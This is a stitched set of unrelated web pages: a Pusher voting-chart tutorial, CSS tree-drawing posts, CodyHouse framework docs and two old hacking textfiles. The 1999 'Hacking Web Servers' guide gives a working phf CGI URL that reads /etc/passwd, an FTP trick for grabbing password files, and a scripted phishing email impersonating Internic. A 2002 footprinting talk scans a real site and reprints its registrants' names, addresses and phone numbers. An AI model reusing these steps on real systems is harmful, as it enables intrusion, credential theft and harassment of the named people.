    // Initialize the chart.
    $("#chartContainer").CanvasJSChart(options);
  }
});

Now save the file, and when you reload the page, you should be able to see a placeholder chart. It is definitely a real chart but without any values. You should be able to see something like this:

Now we have implemented our CanvasJS chart on the right side.

Initialization of Pusher on the Client Side

After the Pusher Logging, we have to initialize the Pusher object. Since we already have a client-side config.js, we’ll be leveraging that code in this part:

// Initialise a Pusher Object.
var pusher = new Pusher(PusherConfig.key, {
  cluster: PusherConfig.cluster,
  forceTLS: PusherConfigforceTLS.
});

After initialization of the Pusher object, we need to subscribe to our channel, where our messages get published by the server side. We’ll be copying the code from the Pusher Dashboard but changing a little bit to subscribe to our hp-voting channel and hp-house event. The default values of my-channel and my-event need to be updated like this in relation with our back-end code:

// Subscribe to the channel.
var channel = pusher.subscribe('hp-voting');
// Bind to a particular event and listen to the event data.
channel.bind('hp-house', function(data) {
  alert(JSON.stringify(data));
});

Instead of alert-ing a data message, we want to basically add the data to the chart. The way we can do that is by taking our dataPoints and manipulating the array with respect to the server’s response. With the already existing dataPoints variable (remember that we’ve used var instead of const as we should be able to change it at a later stage), we’ll be using a higher-order Array.map() function as follows:

// Bind to a particular event and listen to the event data.
channel.bind('hp-house', function(data) {
  // Use a higher order Array map.
  dataPoints = dataPoints.map(function (d) {
    // Check if the current label is the updated value.
    if (d.label == data.house) {
      // Increment the house's value by the number of new points.
      d.y += data.points;
    }
    // Return the original value as this is a map function.
    return d;
  });
});

We’re looping through all the dataPoints labels, and when a particular label matches the current label, we’ll be incrementing the value of the current label with the number of points updated. Since we’re using a JavaScript Array.map() function, we have to return the original value, d, back to the function call. Once we’ve updated the dataPoints, we have to re-render the chart.

After the map() function, we’ll do the following:

channel.bind('hp-house', function(data) {
  // Use a higher order Array map.
  dataPoints = dataPoints.map(function (d) {
    // Check if the current label is the updated value.
    if (d.label == data.house) {
      // Increment the house's value by the number of new points.
      d.y += data.points;
    }
    // Return the original value as this is a map function.
    return d;
  });

  // Re-render the chart.
  $("#chartContainer").CanvasJSChart(options);
});

Once you write all the above code, save and run the application in your browser, fire up your web developer tools and check out the console. You should see that Pusher Service is communicating with your application. I was able to see the following in my console (I’ve hidden my appId and secret, so other than those sensitive bits of information, everything else is shown):

Conclusion

At this point of time, when you try to open two windows of the same application and vote on one screen, you can see all the screens updating at the same time. This is basically how you use the Pusher service to create real-time applications.

Our Harry Potter voting web app now shows options (all the four houses) and a chart on the right side that updates itself when a connected user votes. The next obvious step would be to use a database, such as MongoDB, to store all the information to make sure it persists even when we reload the pages of the application.

Meet the author

Praveen Kumar

Praveen is a software and web developer, cloud computing consultant, full-stack developer, UX architect, a CEO, and even … a cook. You can find him at praveen.science.

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Draw a Tree Structure With Only CSS

Draw a Tree Structure With Only CSS set Restriction

Two Wrongs

Draw a Tree Structure With Only CSS

by

kqr

, published 2014-11-06

Tags:

web

Sometimes you have data in a tree structure. Common candidates are hierarchies in a company, module architecture in a system or files on disk. It would be really nice to be able to generate an HTML page with this data neatly rendered so as to actually look like a tree structure. In other words, we'll be shooting for something like this*:

That's actually drawn with only CSS, using the pseudo-elements ::before and ::after. We start with a simple HTML list.

<div class="clt">
  <ul>
    <li>
      Fruit
      <ul>
        <li>
          Red
          <ul>
            <li>Cherry</li>
            <li>Strawberry</li>
          </ul>
        </li>
        <li>
          Yellow
          <ul>
            <li>Banana</li>
          </ul>
        </li>
      </ul>
    </li>
    <li>
      Meat
      <ul>
        <li>Beef</li>
        <li>Pork</li>
      </ul>
    </li>
  </ul>
 </div>

With this out of the way†, let's get into the CSS. First we need to set up the list and container so it doesn't interfere with our tree drawing.

.clt, .clt ul, .clt li {
     position: relative;
}

.clt ul {
    list-style: none;
    padding-left: 32px;
}

Then we take our pseudo-elements, make sure they are empty and move them to the left of the list elements.

.clt li::before, .clt li::after {
    content: "";
    position: absolute;
    left: -12px;
}

The ::before pseudo-element is used to draw the horizontal lines.

.clt li::before {
    border-top: 1px solid #000;
    top: 9px;
    width: 8px;
    height: 0;
}

...and the vertical lines use the ::after pseudo-element.

.clt li::after {
    border-left: 1px solid #000;
    height: 100%;
    width: 0px;
    top: 2px;
}

The icing on the cake is that the last item on every level has just a very short line leading to it, and nothing further. This makes it look very nice.

.clt ul > li:last-child::after {
    height: 8px;
}

And that's it! I think it's fascinating something like that is possible.

* If the tree I used as an example in this post looks familiar, it's because it's been used by someone else to illustrate efficient storage of trees in relational databases. I stole it from there.
† If this doesn't highlight one of the problems with the HTML format, I don't know what does.

Feel free to show your support by buying me a coffee, iff you want to.
Or send me an email. Emails show nearly as much support as coffee.

Shoutout to my amazing wife without whose support I would never make it past the first sentence. ♥

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web.textfiles.com/hacking/ctn-hw.txt

*/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/*
* ¸;;;;¸ ¸¸¸;;´´ ¸;´ *
* ;;; ´´;¸ ¸¸¸¸;´´´ ¸;´ *
* ;;´ ;; ¸¸¸;´´´;; ;;´ *
* ;;; ;;; ;;;;´ ;; ;; ;;´ *
* ;;´ ;;; ;; ;; ¸;; ;;´ *
* ;; ;; ;; ;; ;;;; ;;; *
* ;; ´´ ;; ;; ¸;´;; ;;; *
* ;;; ;; ¸;´ ´;¸;;´ *
* ;;; ;; ¸;´ ;;;; *
* ;;; ¸;;¸ ;;; ¸;´ ;;;; *
* ;;; ¸¸;;;;; ;;; ¸;;´ ;;; *
* ;;´ ¸;;´ ;; ;;; ;;;;´ ;;´ *
* ;; ¸;;; ;; ;; ´;;; ;; *
* ;; ¸;;´ ;; ;; ´´ *
* ;;;;´ ;; ;; *
* ´´´ ´´ ´´ *
* The Cybernetic Techno Ninjas *
* Hacking Web Servers *
///////////////////////
This file Has Been Written
By: GBoZ
Of The Cybernetic Techno Ninjas
Tuesday 2/16/99

		The Offical Guide
                           To
                    Hacking Web Servers

1. Getting information

Before you Hack a webpage you should get the propper information
here's how you get it go to this webpage
Http://www.Internic.com
tell them that you want to create a wbepage ( don't worry you won't
be billed ok) put in the name of the webpage that you want to hack
where it says put your webpage you want to make. It will then say
something like sorry someone is useing this domain and give info about
them. Thier name thier address and thier e-mail address.. Now you know
who your dealing with.

2. Methods of Hacking.. This is going to be a long stip of paragraphs
choc full of methods of hacking so have fun.

1A. Hacking the FTP Method
If you have Windows 95 go into Dos prompt
( Do this once you have connected to your ISP )
After that type in
Open Blah.com
(Blah.com = put the place you wanna hack)
it will ask for a username press enter server will ask for password press enter at the prompt type "quote user ftp" then hit enter
type "quote cwd ~root" then hit enter type "quote pass ftp"
now once your in the system type "cd etc" hit enter then type
"get passwd" and if that don't work type "get passwd."

2B.Getting a passwd file is pretty easy.Simply telnet into the servers FTP anonymously and look in the etc directory and get the file called Passwd then use Cracker Jack and decode the Pw.
Another way to get them is to find your target and in a WWW browser type cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd after the servers name. For example the name may be
http://www.hackme.com/, you would goto http://www.hackme.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd except instead of www.hackme.com you would replace that with your targets URL this may not work some times but lets just say
10 out of 100 sites will work... It did with Master P's webpage

3B.
Internic
This is GBoZ's way of hacking a webpage it's called Scoial Engeneering
what this means is sweat talk :) or Bull shitting. Anyway when you
get the information from Internic in section 1. Get the users e-mail
then obtain a anonymous mail program and a IP spoofer that way you can't get caught! IP Spoof first , then go to your Anon mail program
and e-mail the man's page that your trying to hack the persons you
should immitate is lets say InternicHost.net tell the mans webpage
that your trying to hack that "Your webpage is casuing severe errors in
our server change your password to "WXZPP3" immidately thanks"
MAKE SURE TO USE PROPER GRAMMER AND PUNCUATION! That way it will look
offical!

4B. If you run Linux or Unix use exploits or just ping the hell out of
Hackme.com (Hackme.com = the place you wanna hack!)

Ok well it wasn't that long but I hope this gave you some sort of
insight.!

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web.textfiles.com/hacking/hackmind.txt

So you wanna be a HACKER huh? <Bwahahaha!> It's a state-of-MIND!
..you can induce it - but only if you are willing to drive yourself
mad enough! Go read and practice until you have mastered at least
Assembly language and Intermediate Level Electronics! Without this
foundation you'll be just another little geek, who might know the magic
words to the spell but dosent understand what he's doing! So RTFM!
..so what does that mean? Read The Fucking Manual! You will be sooo
amazed at how easy most things are if you just try to read the manual
first! The truth is: Most people cant read. Or they read poorly if
they read at all. So if you can't really read...STOP RIGHT HERE. GO
learn to read first. If you can't read at a minimum 12th Grade level
you cant be a hacker. Reading is the basic skill you must have to do
EVERYTHING BEYOND THIS POINT.

Tell your friends you cant party...you're busy. Spend at least 4
hours a day at your new-found fascination...or decide right here
and now that you cant cut it! If you CAN, get a copy of MINIX or
LINUX...start learning about OPERATING SYSTEMS. Then start your
1st real hack...try building a computer-controlled, DTMF dialer
card for your cheap PC...write the code to use it with, make it
a TSR to keep life interesting...now port it to MINIX or whatever
...better yet, port it as an IOCTL call at kernel level! You keep
reading...

Now you're ready to take on something more complex - go to the
Library, start a literature search; topic: Telephone Technologies.
RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the
fab MFTSS, the TELEX boxes and circuits...keep reading...buy up
an older, cheap (like under $50) cellular phone...by this time
you should already have a subscription to 'Nuts & Volts" as well
as a few other grassroots technology pubs....buy a copy of the
"Cellular Hacker's Bible"....start by doing something simple..
..disassemble and re-write the phone`s control ROM to allow it
to function as an 800MHZ scanner...hopefully you've assembled
a large array of tools and test gear by now. You've got a good
dual-trace scope, some pc-based PROM burner, a signal generator,
a logic probe or two, maybe even a microprocessor-emulator for
the 5051, the Z80, the 68010 or something....you may have been
dragged into some fields-afar by life - incorporate them: If
somebody drasgged you into SCUBA, build your own sonar. If you
have gotten interested in amateur radio, you can build a lot
of swell stuff...I recommend you checkout Packet's AX25A level2
protocol...very slick stuff! If your bud's are all into motors,
take a whak at doing your own Performance PROMS for GM's F.I. and
spark advance curves...or try adapting some Volkswagen/BOSCHE
Kjetronics F.I. to a Harley Davidson!..maybe you're into music
so you buy a synthesizer and learn all about electronic music,
you start hacking analog modules and build a nicer synth than you
could buy! Then you interface it to a MIDI port on a cheap 286AT
and then hack up some sequencer software, or buy some and then
disassemble it to fix all the bugs! You keep reading...

By now most of your friends are also "far into the pudding", you
have either gained 50 lbs or gone totally skinny...your skin tone
is 2 shades lighter from being indoors so long...most of the opposite
sex is either totally freaked by or with you - they either dig you,
or they dont!...you're probably knocking on the door of what will
be a $60K+/yr job as a systems analyst...and you are well-aware that
90% of the people in this world can't talk their way out of a badly
cooked steak at the local eatery, let alone install a new motherboard
in their PC! So you pick up some extra cash on doing shit like that
for the straights...you keep reading, and RTFM'ing higher and higher,
learning about networks...the VCR breaks down and your SO bitches
about having to wait till monday to have it fixed...you fix it in
about 40 minutes....the next day the clothes dryer starts to make
squeeking noises like a 50' mouse, you've never fixed one before -
but somehow it's not that difficult to open the bastard up and find
the squeek and fix it...and suddenly it dawns on you that hacking
code or hardware is pretty much the same! You keep reading...

Congrats, you are now a real hacker. Absolutly nothing but a lack of
time (or in some cases money) can stop you. You are a true Technologic
Philosopher...you can function in places a mere Engineer or Scientist
would truly FEAR TO TREAD! You can read better than Evelyn Wood, you
have a collection of tools that would make a Master Machinist and a
Prototype EE or ME cry. You can calculate series and parallel resonant
circuits in your head. You can fix any consumer appliance - if you can
get the parts. Your car has either become one of your main hacks or
you'ver deligated the job to a mechanic who you have found to be a
fellow hacker; and you work on his homebrew 68010 unix box...because
you've got a 68010 emulator and he works on your car because that's
the kind he specializes in! Maybe you trade services with people
for 50% of what ordinary people have to BUY WITH CASH!...you keep
reading...

(this is the stage where the author now finds himself...16 years
into a career at a Fortune 5 company and age 42...still reading...
your mileage may vary! <-((that's my code too! I co-wrote VEEP,
(vehicle-economy-emissions-program, a complete auto-simulator,
written in Fortran-5 for the Univac 1108 system using punch-cards!)
for the Ford Foundation and the DOT while at JPL in 1973)) )

-Avatar-> (aka: Erik K. Sorgatz) KB6LUY +----------------------------+
TTI([email protected])or: [email protected] *Government produces NOTHING!*
3100 Ocean Park Blvd. Santa Monica, CA 90405 +----------------------------+
(OPINIONS EXPRESSED DO NOT REFLECT THE VIEWS OF CITICORP OR ITS MANAGEMENT!)

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Introduction
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- Accessibility
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Framework

The CodyHouse's Framework is a lightweight front-end framework for building accessible, bespoke interfaces.

Some of the advantages of working with this framework:

⚡️ lightweight (8KB minified and gzipped)
🙌 no need to override existing CSS rules
📱 mobile-first
🎨 create unique designs with total control
📖 easy to learn

Download the Framework on Github

or install the framework in your Node.js powered apps with the npm package:

npm i codyhouse-framework

If you want to take the framework for a spin, or follow along one of our tutorials, feel free to fork this pen:

🕹 codepen.io/codyhouse/pen/Wqvpmm

Getting started #

The framework includes a Gulp file with some basic configurations needed to run a web project based on the framework. For detailed info on how the Framework Gulp file works, please refer to our article on the topic.

To start a web project using this Gulp configuration file, navigate to the framework folder and run the following commands:

npm install
npm run gulp watch

The first command will install the modules the framework requires for compiling SCSS into CSS; the second will launch your project on a development server.

Files included #

The framework is composed of:

_base.scss: essential CSS rules and utility classes (We suggest you don't modify these files).
_custom-style.scss: a CSS template to create your bespoke style (e.g., buttons, forms, and colors).
style.scss: used to import the _base.scss and _custom-style.scss files. It compiles into two separate CSS files: style.css and style-fallback.css. The first one includes the CSS custom properties; in the second one the CSS custom properties are replaced by their fallbacks (generated using a PostCSS plugin). A script in the <head> of the index.html file checks CSS variables support and delivers only one CSS file.
util.js: the utility functions used in the CodyHouse Components. Make sure to import this file before the component script file.

codyhouse-framework/
└── main/
    ├── assets/
    │   ├── css/
    │   │   ├── base/
    │   │   │   ├── _accessibility.scss
    │   │   │   ├── _breakpoints.scss
    │   │   │   ├── _buttons.scss
    │   │   │   ├── _colors.scss
    │   │   │   ├── _forms.scss
    │   │   │   ├── _grid-layout.scss
    │   │   │   ├── _icons.scss
    │   │   │   ├── _mixins.scss
    │   │   │   ├── _reset.scss
    │   │   │   ├── _shared-styles.scss
    │   │   │   ├── _spacing.scss
    │   │   │   ├── _typography.scss
    │   │   │   ├── _util.scss
    │   │   │   ├── _visibility.scss
    │   │   │   └── _z-index.scss
    │   │   │── custom-style/
    │   │   │   ├── _buttons.scss
    │   │   │   ├── _colors.scss
    │   │   │   ├── _forms.scss
    │   │   │   ├── _shared-styles.scss
    │   │   │   ├── _spacing.scss
    │   │   │   └── _typography.scss
    │   │   ├── _base.scss
    │   │   ├── _custom-style.scss
    │   │   ├── style-fallback.css
    │   │   ├── style.css
    │   │   └── style.scss
    │   └── js/
    │       └── util.js
    └── index.html

Supported browsers #

The Framework supports the latest, stable releases of all major browsers. On Windows, we support IE 9+ / Microsoft Edge.

Progressive enhancement #

The Framework and the Components are built following the principle of progressive enhancement. Please make sure to include the following script in the <head> of your document:

<script>document.getElementsByTagName("html")[0].className += " js";</script>

The script is used in CSS to target that JavaScript is enabled and apply additional style accordingly. If you don't include the script, part of the style of the components won't be visible.

Besides checking JavaScript support, we check the support of CSS custom properties. If the browser supports them, the style.css file is downloaded. Otherwise, the browser downloads the style-fallback.css file, where the CSS variables are replaced by their fallbacks (generated using a PostCSS plugin). More info in the CSS Custom Properties chapter on this page.

<script>
  if('CSS' in window && CSS.supports('color', 'var(--color-var)')) {
    document.write('<link rel="stylesheet" href="assets/css/style.css">');
  } else {
    document.write('<link rel="stylesheet" href="assets/css/style-fallback.css">');
  }
</script>
<noscript>
  <link rel="stylesheet" href="assets/css/style-fallback.css">
</noscript>

CSS Custom Properties #

We use CSS variables as opposed to SASS variables because there are cases where we update the variables at specific breakpoints (e.g., to make typography responsive), or to power-up our adaptive color themes. For more information about the advantages of using CSS custom properties, please check our 'Why we prefer CSS Custom Properties to SASS variables' article on the topic.

To provide a fallback for browsers that don't support CSS custom properties, we use a modified version of the postcss-css-variables gulp plugin. When you use a CSS variable in your SCSS, the plugin generates a copy of the property replacing the variable with its value (the fallback).

For example, if in your SCSS you write this:

.max-width-lg {
    max-width: var(--max-width-lg);
}

In your CSS file you have:

.max-width-lg {
    max-width: 80rem;
    max-width: var(--max-width-lg);
}

⚠️ The Gulp configuration file is set to compile the SCSS file into two separate CSS files: style.css includes the CSS custom properties; in the style-fallback.css file, the CSS variables are replaced by their fallbacks (generated by the PostCSS plugin). The script in the <head> of the index.html file is used to deliver only one file, according to whether the browser supports CSS variables or not.

There are some limitations though when working with CSS Variables in combo with this plugin: in some cases (listed below), the plugin can't provide a fallback (or it may throw an undefined value). It's important to be aware of these limitations, to avoid potential issues in your code.

Case 1: Local scope

If you define a CSS variable within a selector and then update it in one of its child elements, the plugin generates proper fallbacks.

SCSS:

.text-component {
    --text-vspace-multiplier: 1;

    hr {
        --text-vspace-multiplier: 2;
        margin: calc(var(--space-lg) * var(--text-vspace-multiplier)) auto;
    }
}

CSS generated:

.text-component {
    --text-vspace-multiplier: 1;
  }

.text-component hr {
    --text-vspace-multiplier: 2;
    margin: calc(2em * 2) auto;
    margin: calc(var(--space-lg) * var(--text-vspace-multiplier)) auto;
}

However, if you create a class modifier and update the variable in the modifier, the plugin does not generate a fallback for the children of the modifier, unless their properties are defined in the modifier too.

For example, if we consider this code:

.text-component {
    --component-body-line-height: calc(var(--body-line-height) * var(--line-height-multiplier));
    --component-heading-line-height: calc(var(--heading-line-height) * var(--line-height-multiplier));
    --line-height-multiplier: 1;

    h1, h2, h3, h4 {
        line-height: var(--component-heading-line-height);
    }

    p, blockquote, ul li, ol li {
        line-height: var(--component-body-line-height);
    }
}

.article.text-component { 
    --line-height-multiplier: 1.13;
}

In this case, in browsers that support CSS Variables the children of .article inherit the new variable value of the modifier, while in old browsers you won't see changes. This approach makes sense if the modifiers are "enhancements" (e.g. a color theme that does not convey a meaning other than aesthetic embellishment).

Important: if you create a scoped variable, you should use it within the scope (selector) where it's defined.

Case 2: Global scope

If you update a global variable at a specific breakpoint, the plugin generates a proper fallback, but that means that it creates a media query for each property where the variable has been used, which could result in a lot of unexpected CSS code. One way around this issue is targeting the <body> element and not the :root.

:root, body {
    --foo: 1em;
}

@include breakpoint(md) {
    body {
        --foo: 2em;
    }
}

By doing so, the plugin won't generate media queries for all the elements where the variable has been used, thus limiting the variable update to the browsers that natively support CSS Variables (where the new value is propagated anyway). Once again, this approach makes sense as long as the variable updates can be considered "progressive enhancements".

Case 3: skip the fallback using @support

If you don't want the plugin to generate a fallback, you have the option to wrap your code using the @supports(--css: variables) rule.

:root {
  --text-base-size: 1em;
  --text-scale-ratio: 1.2;

}

@supports(--css: variables) {
  :root {
    @include breakpoint(md) {
      --text-base-size: 1.25em;
      --text-scale-ratio: 1.25;
    }
  }
}

A good example is our typography system, or our system for generating color themes, where we define the default theme in the global scope, while the new themes include the @supports(--css: variables) feature query.

In doing so, the themes are visible only in browsers that support CSS Variables, and the plugin does not generate any fallback. If you let the plugin run through a theme, the fallback generated is not correct, and it could result in issues in older browsers.

The takeaway being: use the @supports(--css: variables) if you want to prevent the plugin from generating a fallback because the changes you made won't compromise the user experience in older browsers.

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web.textfiles.com/hacking/footprinting.txt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=

                -= Footprinting And The Basics Of Hacking =-

                         -= By Manic Velocity =-
                    -= [[email protected]](mailto:[email protected] "Linkify Plus Plus") =-
                       
                       -= [http://www.2600slc.org](http://www.2600slc.org "Linkify Plus Plus") =-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

¥ What Is Footprinting?

Footprinting is the first and most convenient way that hackers use to gather information
about computer systems and the companies they belong to. The purpose of footprinting to
learn as much as you can about a system, it's remote access capabilities, its ports and
services, and the aspects of its security.

In order to perform a successful hack on a system, it is best to know as much as you can,
if not everything, about that system. While there is nary a company in the world that
isn't aware of hackers, most companies are now hiring hackers to protect their systems.
And since footprinting can be used to attack a system, it can also be used to protect it.
If you can find anything out about a system, the company that owns that system, with the
right personell, can find out anything they want about you.

In this talk, I will explain what the many functions of footprinting are and what they do.
I'll also footprint everyone's favorite website, just to see how much info we can get on
Grifter.

¥ Open Source Footprinting

Open Source Footprinting is the easiest and safest way to go about finding information
about a company. Information that is available to the public, such as phone numbers,
addresses, etc. Performing whois requests, searching through DNS tables, and scanning
certain IP addresses for open ports, are other forms of open source footprinting. Most
of this information is fairly easy to get, and getting it is legal, legal is always good.

Most companies post a shit load of information about themselves on their website. A lot
of this information can be very useful to hackers and the companies don't even realize it.
It may also be helpful to skim through the webpage's HTML source to look for comments.
Comments in HTML code are the equivalent to the small captions under the pictures in high
school science books. Some comments found in the HTML can hold small tid-bits of info
about the company, otherwise not found anywhere else.

¥ Network Enumeration

Network Enumeration is the process of identifying domain names and associated networks.
The process is performing various queries on the many whois databases found on the
internet. The result is the hacker now having the information needed to attack the system
they are learning about. Companie's domain names are listed with registrars, and the
hacker would simply query the registrar to obtain the information they are looking for.
The hacker simply needs to know which registrar the company is listed with. There are
five types of queries which are as follows:

Registrar Query:  This query gives information on potential domains matching the 
target.

Organizational Query:  This is searching a specific registrar to obtain all 
instances of the target's name.  The results show many different domains associated
with the company.

Domain Query:  A domain query is based off of results found in an organizational 
query.  Using a domain query, you could find the company's address, domain name, 
administrator and his/her phone number, and the system's domain servers.  The 
administrative contact could be very useful to a hacker as it provides a purpose
for a wardialer.  This is also where social engineering comes into play.  But 
that's a talk for another time.  Many administrators now post false phone numbers 
to protect themselves from this. 

Network Query:  The fourth method one could use the American Registry for Internet 
Numbers is to discover certain blocks owned by a company.  It's good to use a 
broad search here, as well as in the registrar query.

POC Query:  This query finds the many IP adresses a machine may have.

¥ DNS Interrogation

After gathering the information needed using the above techniques, a hacker would begin to
query the DNS. A common problem with system adminstrators is allowing untrusted, or worse,
unknown users, to perform a DNS Zone Transfer. Many freeware tools can be found on the
internet and can be used to perform DNS interrogation. Tools such as nslookup, for PC, and
AGnet Tools, for Mac, are some common programs used for this.

¥ Other Helpful Techniques Used In Footprinting

Ping Sweep:  Ping a range of IP addresses to find out which machines are awake.

TCP Scans:  Scan ports on machines to see which services are offered.  TCP scans 
can be performed by scanning a single port on a range of IPs, or by scanning a 
range of ports on a single IP.  Both techniques yeild helpful information.

UDP Scans:  Send garbage UDP packets to a desired port.  I normally don't perform 
UDP scans a whole lot because most machines respond with an ICMP 'port unreachable' 
message.  Meaning that no service is available.

OS Indentification:  This involves sending illegal ICMP or TCP packets to a machine.

The machine responds with unique invalid inputs and allows the hacker to find out what the
target machine is running.

¥ Let's Try It!

Ok, I've explained as best I can what the functions of footprinting are. Now we're going
to actually use them. Let's footprint 2600slc.org to find out as much as we can about
Grifter. Keep in mind that I am using a mac and I don't know the necessary tools to use
on a PC when footprinting. For all the procedures listed below, I will be using a utility
known as AGnet Tools version 2.5.1. This application allows you to use all of the basic
funtions of footprinting in one easy to use program. I know there are other security
auditing tools for the mac out there which offer more functions, but AGnet is the most
user friendly program I can find.

Now, just by looking at the website, we know where the 2600 meetings are held and at what
time. This information really isn't useful right now because you obviously managed to find
your way here. Good for you. We find that Grifter also runs staticdischarge.org, and by
going further into the website, we find that Grifter has three main email contacts which
are:

[[email protected]](mailto:[email protected] "Linkify Plus Plus")
[[email protected]](mailto:[email protected] "Linkify Plus Plus")
and [[email protected]](mailto:[email protected] "Linkify Plus Plus")

Ok, we have Grifter's three emails which we will use later. But for now, let's get some
information on 2600slc.org. We type in 2600slc.org into the prompt of the Name Lookup
window in AGnet tools, and our result is this IP address:

[207.173.28.130](http://207.173.28.130 "Linkify Plus Plus")

But wait, just out of curiosity, what is the IP of staticdischarge.org? We type the domain
into the Name Lookup prompt and we are given the same IP. We can safely say that
2600slc.org and staticdischarge.org are hosted on the same box. But if I were to do a
reverse name lookup on the IP, which domain will come up? 2600slc.org or
taticdischarge.org? Neither, the result is linuxninjas.org. Ah ha! So linuxninjas.org
is the name of the box hosting 2600slc.org and staticdischarge.org. Neat!

So now that we have the IP, let's check to see if linuxninjas is awake. We type the IP
into the prompt in the Ping window. We'll set the interval between packets to 1
millisecond. We'll set the number of seconds to wait until a ping times out to 5. We'll
set the ping size to 500 bytes and we'll send ten pings.

Ten packets sent and ten packets received. Linuxninjas.org returned a message to my
computer within an average of 0.35 seconds for every packet sent. Linuxninjas is alive
and kicking.

Moving on. Remember Grifter's three email addresses? What can we do with those? This is
where Finger comes in. A lot of businesses nowadays don't run finger, because it reveals
too much information about any one user on a system. But of course, it never hurts to try.
Let's enter Grifter's emails into the prompt in the Finger window.

[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.
[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.
[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.

Like I said, a lot of systems no longer use finger.

Ok, since Finger gave us bupkuss, let's move on to Whois. We open the Whois window and
type linuxninjas.org into the Query prompt, and whois.networksolutions.com into the Server
prompt. This means we'll be asking Network Solutions to tell us everything they know about
linuxninjas.org.

The result is this laundry list of info:

Registrant:
Static Discharge (LINUXNINJAS-DOM)
p.o.box 511493
SLC, UT 84151
US

Domain Name: [LINUXNINJAS.ORG](http://LINUXNINJAS.ORG "Linkify Plus Plus")

Administrative Contact, Billing Contact:
Wyler, Neil  (NWB43)  [[email protected]](mailto:[email protected] "Linkify Plus Plus")
Static Discharge
p.o.box 511493
SLC, UT 84151
801-773-6103

Technical Contact:
sutton, kenny  (KS16306)  [[email protected]](mailto:[email protected] "Linkify Plus Plus")
hektik
p.o.box 511493
SLC, UT 84151
877-828-3849

Record last updated on 17-Aug-2001.
Record expires on 11-Aug-2002.
Record created on 11-Aug-2000.
Database last updated on 12-Dec-2001 04:06:00 EST.

Domain servers in listed order:

[NS1.HEKTIK.ORG](http://NS1.HEKTIK.ORG "Linkify Plus Plus")	[207.173.28.130](http://207.173.28.130 "Linkify Plus Plus")
[NS2.HEKTIK.ORG](http://NS2.HEKTIK.ORG "Linkify Plus Plus")	[64.81.168.80](http://64.81.168.80 "Linkify Plus Plus")

Wow. Check this out. But remember that a lot of sysadmins post false info into their
registrars database. So these phone numbers could be payphones, and these addresses could
be whore houses. But as far as we know, we now have Grifter's real name, his address and
his phone number. We also have the same for Kenny. We can see when Grifter registered
linuxninjas.org, when it expires, and when it was last updated. And look! We have
another one of Grifter's email addresses. Lets run it through Finger just for kicks.

[[email protected]](mailto:[email protected] "Linkify Plus Plus") = Finger failed.  Oh well.

Well, now that we have a bit of personal info on Grifter, let's check back with
linuxninjas.org.

A corner stone of footprinting is Port Scanning. Let's port scan linuxninjas.org and see
what kind of services are running on that box. We type in the linuxninjas IP into the Host
prompt of the Port Scan window. We'll start searching from port number 1, and we'll stop
at the default Sub7 port, 27374. Our results are:

21	TCP	ftp
22	TCP	ssh	SSH-1.99-OpenSSH_2.30
25	TCP	smtp
53	TCP	domain
80	TCP	www
110	TCP	pop3
111	TCP	sunrpc
113	TCP	ident

Just by this we know that Grifter is running a website and email, (duh), using POP3,
(Post Office Protocal version 3), SUNRPC (SUN Remote Procedure Call), and ident. This
could lead to some fun trying to access his FTP, or telnetting to his SMTP and sending
your mom midget porn through his email address.

¥ Conclusion

All of these functions are very basic. They are simpe and easy to use. And above all,
they are legal. As I said in the introduction, legal is always good. Whenever
footprinting a system, keep in mind that you could find something that you aren't supposed
to see. If this happens, contact the sysadmin and let them know of it. You could get into
serious trouble if you misuse the information you find. Also let them know of any bugs or
exploits you may find. Who knows? If you help them out enough, you could land a job with
them protecting their system. Nothing could be greater than getting paid to do what you do
best. But try not to let money be your motivation. Hacking is all about learning.

There is definetely more to learn about Grifter and his little websites. Like why I found
him sneaking around my backyard last night. But I guess we'll have to delve into that
later.

Especially be careful when trying to access any open ports you may find. Brute forcing an
ftp or a web server can also land you in a pile. If anything you try to access requires a
password, you probably shouldn't be there. But like I said, if you access something
important and it didn't ask you for a password, let the sysadmin know of it.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-
© 2600SLC.ORG 2002
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

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Pure CSS collapsible tree menu – Ryan Seddon

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Ryan Seddon

Author Ryan Seddon

Posted on July 14, 2010

Categories cssTags css3, pure css

Pure CSS collapsible tree menu

The classic tree view, we all know it, it’s used everywhere and it definitely can be useful in the right context. I’ve seen various examples about doing it with CSS and they’ve all required JavaScript. Not content with any of those solutions I investigated doing it with pure CSS, I got a good head start from my Custom Radio and Checkbox inputs article. From there I’ve come up with a solution that works pretty well.

Another demo, another bug

Everything I seem to investigate lately seems to present itself with an annoying bug/feature in various browsers. Last time it was the inconsistency between browsers and generated content on form elements. This time it is WebKit not being able to apply styles using the checked pseudo-class in conjunction with a general sibling combinator (E ~ F) or chained adjacent sibling combinator (E + F + F). Making it very hard, and probably the reason I haven’t seen a CSS solution that works in WebKit browsers. I did come across this demo but due to the bug mentioned above doesn’t work in WebKit browsers.

So I soldiered on and came up with a pretty decent attempt, and remember folks I’m not a designer so be kinder this time with design critiques all I’m doing is showing you how to do the technique ;). With that out of the way let’s dig into the inner workings and road blocks I faced.

General sibling combinators are flaky

The CSS3 selector module has a very useful addition to compliment the CSS2.1 adjacent sibling combinator. Unlike the adjacent selector the general selector gives us some flexibility in that it will match a sibling that isn’t immediately preceded by our first element.

Great, I have 3 elements an , &

input:checked ~ ol

input ~ ol

So I dug into WebKits bug tracker and came out with this bug which has been around since 2007. Stating that general sibling combinators in combination with dynamic CSS, ala :checked, won’t reflect changes. Nor will it do chained adjacent combinator which was going to be my next solution.

